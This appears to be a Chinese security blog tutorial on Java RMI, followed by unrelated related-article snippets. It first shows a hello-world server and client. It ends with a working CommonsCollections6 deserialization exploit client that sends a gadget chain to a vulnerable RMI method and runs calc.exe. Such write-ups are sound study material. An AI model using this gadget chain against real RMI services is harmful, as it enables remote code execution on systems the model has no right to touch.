【java安全】RMI

文章目录

    • 【java安全】RMI
      • 前言
      • RMI的组成
      • RMI实现
        • Server
          • 0x01 编写一个远程接口
          • 0x02 实现该远程接口
          • 0x03 Registry注册远程对象
        • Client
      • 小疑问
      • RMI攻击

【java安全】RMI

前言

RMI全称为:Remote Method Invocation 远程方法调用,是java独立的一种机制。

RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法

在网络传输的过程中,RMI对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI服务端在接收到序列化后的会将对象进行反序列化。

在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI就可以作为反序列化利用链的触发点 *****

RMI的组成

RMI主要分为三个部分:

  • Client客户端:客户端调用服务端的方法
  • Server服务端:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会给客户端返回一个方法执行的结果
  • Registry注册中心:本质就是一个map,像一个字典,用于客户端查询服务端调用方法的引用

RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样

唯一区别就是RMI服务端提供的方法,被调用时方法是执行在服务端

为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。

image-20230725144607037

RMI Register 像一个网关,自己不会执行远程方法,但是RMI Server可以在上面注册一个Name到对象的绑定关系,RMI Client通过这个Name向RMI Registry查询,获得绑定关系,然后连接RMI Server。最后,远程方法在RMI Server上调用

RMI实现

Server

一个RMIServer分为三个部分:

  • 一个继承了java.rmi.Remote的接口,其中定义我们想要远程调用的函数,比如这里的hello()
  • 一个实现了此接口的类,此类实现了函数体,并且继承UnicastRemoteObject
  • 一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址。这就是所谓Server了
0x01 编写一个远程接口
public interface IRemoteHelloWorld extends Remote {
    public String hello() throws RemoteException;
}
  • 这个接口需要使用public声明,否则客户端尝试加载远程接口的对象会出错(除非客户端、服务端放在一起)
  • 继承 java.rmi.Remote接口
  • 接口的方法需要抛出RemoteException异常
0x02 实现该远程接口
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{
    protected RemoteHelloWorld() throws RemoteException {
    }

    public String hello() throws RemoteException {
        System.out.println("hello~~~()");
        return "Hello,World!";
    }
}
  • 该类实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。)
  • 构造方法抛出RemoteException异常
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serilizable
0x03 Registry注册远程对象

上面我们已经把远程调用的类创建好了,接下来我们怎么创建并调用它呢?

Java RMI 设计了一个 Registry 的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。

这种思想是由:java.rmi.registry.Registryjava.rmi.Nameing来实现的

先说:java.rmi.Nameing ,这是一个final类,提供了在远程对象注册表中存储获取远程对象引用的方法

这个类的每个方法中都有一个URL格式的参数,格式为://host:port/ObjectName

  • host表示注册表所在的主机
  • port表示注册表接受调用的端口号,默认1099
  • name表示一个注册的Remote Object的引用名称

那么就好理解了,我们实现了服务端待调用的对象,现在我们需要利用Naming.rebind()函数将其注册到register

步骤:

  • 利用LocateRegistry.createRegistry(1099);创建registry注册中心
  • 实例化远程对象
  • 将实例化对象绑定到registry注册中心
public class RemoteServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException {
        // 创建注册中心,指定1099端口
        LocateRegistry.createRegistry(1099);
        // 实例化远程对象
        RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld();
        // 将远程对象绑定到注册中心,此处Name为:leekos
        Naming.rebind("rmi://localhost:1099/leekos", remoteHelloWorld); //注意字符串格式
    }
}

服务端我们已经搭建好了

Client

接下来我们需要搭建客户端,来远程执行服务器上的对象方法。

步骤如下:

  • 使用Naming通过名字找到registry中绑定的对象
  • 调用对象的方法

这里我们使用Naming.lookup()方法寻找registry的对象

public class Client {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
        IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");
        String hello = iRemoteHelloWorld.hello();
        System.out.println(hello);

    }
}

小疑问

首先执行服务端:

image-20230725160357275

接着执行客户端:

image-20230725160433915

在客户端的控制台成功返回Hello,World!

此处我们发现了一个现象,为什么对象方法输出的hello~~~()字符串在服务端输出呢?

这刚好证明了RMI中远程方法是在服务端调用的,并将方法执行结果返回给客户端

RMI攻击

既然我们可以远程调用服务器上的对象的方法,并且RMI传递对象会进行序列化以及反序列化的过程。那么如果服务器上一个远程对象的方法形参中需要传递Object类型,我们就可以传入构造好的利用链对象,当反序列化时就会触发

此处使用java反序列化CommonsCollections6链子

服务端代码如上,但是必须满足相关条件:

  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的远程对象的方法形参中有Object类型,这样才能实现反序列化链利用

客户端代码:

public class Client {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {
        IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");
        Map map = getPayload();
        iRemoteHelloWorld.doWork(map);
    }

    public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法,从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        outerMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);
        return hashMap;
    }

}

使用CommonsCollections6,可以在高版本java中利用。当我们运行代码时,弹出计算器:

image-20230725162957559

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/49206.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Mnist分类与气温预测任务

目录 传统机器学习与深度学习的特征工程特征向量pytorch实现minist代码解析归一化损失函数计算图Mnist分类获取Mnist数据集,预处理,输出一张图像面向工具包编程使用TensorDataset和DataLoader来简化数据预处理计算验证集准确率 气温预测回归构建神经网络…

ChatGPT统计“一到点就下班”的人数

ChatGPT统计“一到点就下班”的人数 1、到点下班 Chatgpt统计各部门F-D级员工到点下班人数占比,是在批评公司内部存在到点下班现象。 根据图片,该占比的计算方法是:最后一次下班卡在17:30-17:40之间,且1-5月合计有40天以上的人…

无人机影像配准并发布(共线方程)

无人机影像 DEM 计算四个角点坐标(刚性变换) 像空间坐标(x,y,-f) 像空间坐标畸变纠正 deltax,deltay 已知(x,y),求解(X,Y, Z)或者(Lat,Lon) 这里的Z是DEM上获取的坐标和Zs为相机坐标的高程,如果均为已…

Django on_delete参数在sql级别操作中不生效问题

class AA(models.Model):name models.CharField(max_length128)class Meta:db_table aaclass BB(models.Model):name models.CharField(max_length128)aa models.ForeignKey(AA, nullTrue, on_deletemodels.CASCADE)class Meta:db_table bb 如上当使用ORM删除aa表中的数据…

12-1_Qt 5.9 C++开发指南_自定义插件和库-自定义Widget组件(提升法(promotion)创建自定义定制化组件)

当UI设计器提供的界面组件不满足实际设计需求时,可以从 QWidget 继承自定义界面组件。 有两种方法使用自定义界面组件: 一种是提升法(promotion),例如在8.3 节将一个QGraphicsView组件提升为自定义的 QWGraphicsView 类,提升法用…

html实现蜂窝菜单

效果图 CSS样式 keyframes _fade-in_mkmxd_1 {0% {filter: blur(20px);opacity: 0}to {filter: none;opacity: 1} } keyframes _drop-in_mkmxd_1 {0% {transform: var(--transform) translateY(-100px) translateZ(400px)}to {transform: var(--transform)} } ._examples_mkmx…

MHA高可用配置及故障切换

文章目录 MHA高可用配置及故障切换一. MySQL MHA1.什么是MHA2.MHA的组成2.1MHA Node (数据节点)2.2MHA Manager (管理节点) 3.MHA的特…

使用python库uvicorn替代Nginx发布Vue3项目

目录 一、Vue3项目打包 二、将打包文件放到python项目 三、配置uvicorn服务 四、启动服务 【SpringBoot版传送门:使用SpringBoot替代Nginx发布Vue3项目_苍穹之跃的博客-CSDN博客】 一、Vue3项目打包 (博主vue版本:3.2.44) 由…

POI 导出 树形结构

参考文章:(327条消息) Excel树状数据绘制导出_excel导出树形结构_Deja-vu xxl的博客-CSDN博客https://blog.csdn.net/weixin_45873182/article/details/120132409?spm1001.2014.3001.5502 Overridepublic void exportPlus(String yearMonth, HttpServletRequest re…

spring5源码篇(12)——spring-mvc请求流程

spring-framework 版本:v5.3.19 文章目录 一、请求流程1、处理器映射器1.1、 RequestMappingHandlerMapping1.2、获取对应的映射方法1.3、添加拦截器 2、获取合适的处理器适配器3、通过处理器适配器执行处理器方法3.1、拦截器的前置后置3.2、处理器的执行3.2.1 参数…

重生之我要学C++第四天

这篇文章的主要内容是类的默认成员函数。如果对大家有用的话,希望大家三连支持,博主会继续努力! 目录 一.类的默认成员函数 二.构造函数 三.析构函数 四.拷贝构造函数 五.运算符重载 一.类的默认成员函数 如果一个类中什么成员都没有&…

目标检测-击穿黑夜的PE-YOLO

前言 当前的目标检测模型在许多基准数据集上取得了良好的结果,但在暗光条件下检测目标仍然是一个巨大的挑战。为了解决这个问题,作者提出了金字塔增强网络(PENet)并将其与YOLOv3结合,构建了一个名为PE-YOLO的暗光目标检…

Linux中的ldd命令使用方法总结

ldd(List Dynamic Dependencies)命令是Linux系统中的一个工具 它用于打印出一个可执行文件所依赖的共享库文件(动态链接库) 当你运行ldd命令,并跟上一个可执行文件作为参数,它会列出该可执行文件所需要的…

【Spring】Spring 总览

一、简单介绍一下 Spring Spring是一个全面的、企业应用开发的一站式解决方案,贯穿表现层、业务层、持久层,可以轻松和其他框架整合,具有轻量级、控制反转、面向切面、容器等特征。 轻量级 : 空间开销和时间开销都很轻量 控制反…

栈和队列第二弹,完结篇

💛1.队列的基本底层实现 public class MyQueue {int array[];int usedsize0;public MyQueue(){this.arraynew int [5];} 💙2.判断是否满,满了需要扩容 Arrays.copyOf(数组,数组的长度);我常常会忘记哈…

Java版本企业工程项目管理系统平台源码(三控:进度组织、质量安全、预算资金成本、二平台:招采、设计管理)

工程项目管理软件(工程项目管理系统)对建设工程项目管理组织建设、项目策划决策、规划设计、施工建设到竣工交付、总结评估、运维运营,全过程、全方位的对项目进行综合管理 工程项目各模块及其功能点清单 一、系统管理 1、数据字典&#…

Safari 查看 http 请求

文章目录 1、开启 Safari 开发菜单2、显示 JavaScript 控制台 1、开启 Safari 开发菜单 Safari 设置中,打开开发菜单选项 *** 选择完成后,Safari 的目录栏就会出现一个 开发 功能。 2、显示 JavaScript 控制台 开启页面后,在开发中选中 显…

掌握Python的X篇_10+11_if分支语句、else语句、elif语句

文章目录 1. if关键字及语法2. 语句块的概念3. else语句4. elif语句 1. if关键字及语法 基本语法如下: if 条件表达式:条件为True时,要执行的语句举例: number int(input("Input an number")) if number > 5 :print("这…

F12 浏览器调试模式页面刷新 network 日志刷新消失的解决办法

每次请求刷新后都把之前的请求记录刷新掉了,把preserve log勾选上后,所有的请求都会保留,再也不怕抓不到记录了。

SpringBoot项目部署在Windows与Centos上

文章目录 Windows部署一、github上下载文件winsw二、文件目录三、编辑xml文件四、安装服务五、启动服务六、把jar包放到项目外面七、添加限制内存 Linux部署一、准备二、服务三、操作 Windows部署 windows部署服务借鉴于此篇博文 一、github上下载文件winsw 点击链接下载下图…